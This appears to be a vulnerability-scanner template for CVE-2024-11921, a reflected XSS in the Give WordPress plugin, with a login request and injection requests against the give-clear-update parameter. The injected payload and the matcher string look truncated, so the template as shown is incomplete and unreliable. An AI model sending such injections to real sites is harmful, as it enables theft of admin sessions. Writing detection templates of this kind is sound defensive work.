id: CVE-2024-11921 info: name: Give WP Plugin < 3.19.0 - Cross-Site Scripting author: Splint3r7 severity: high description: | The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. impact: | Unauthenticated attackers can inject malicious JavaScript through the give-clear-update parameter to steal WordPress administrator session cookies and credentials when high-privilege users view the forms page. remediation: | Update to the version 3.19.0 of plugin. reference: - https://wpscan.com/vulnerability/5f196294-5ba9-45b6-a27c-ab1702cc001f/ - https://nvd.nist.gov/vuln/detail/CVE-2024-11921 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 7.1 cve-id: CVE-2024-11921 cwe-id: CWE-79 epss-score: 0.02693 epss-percentile: 0.86145 metadata: max-request: 2 tags: cve,cve2024,wordpress,wp,wp-plugin,give,xss,authenticated,vuln http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/admin.php?page=give-forms&give-clear-update="> HTTP/1.1 Host: {{Hostname}} - | GET /wp-admin/admin.php?page=give-forms&give-clear-update=1"> HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "text/html")' - 'contains_all(body, "", "give_forms_page_")' condition: and # digest: 4a0a00473045022100d88aaeddd80dda03fc941afb5e1dcffd338aa8dfc9321bd4065bcdab84bb461f02201597434e1d43009505c6f22dacecf3a99d4342ff4ca249d6daa8e837193de748:922c64590222798bb761d5b6d8e72950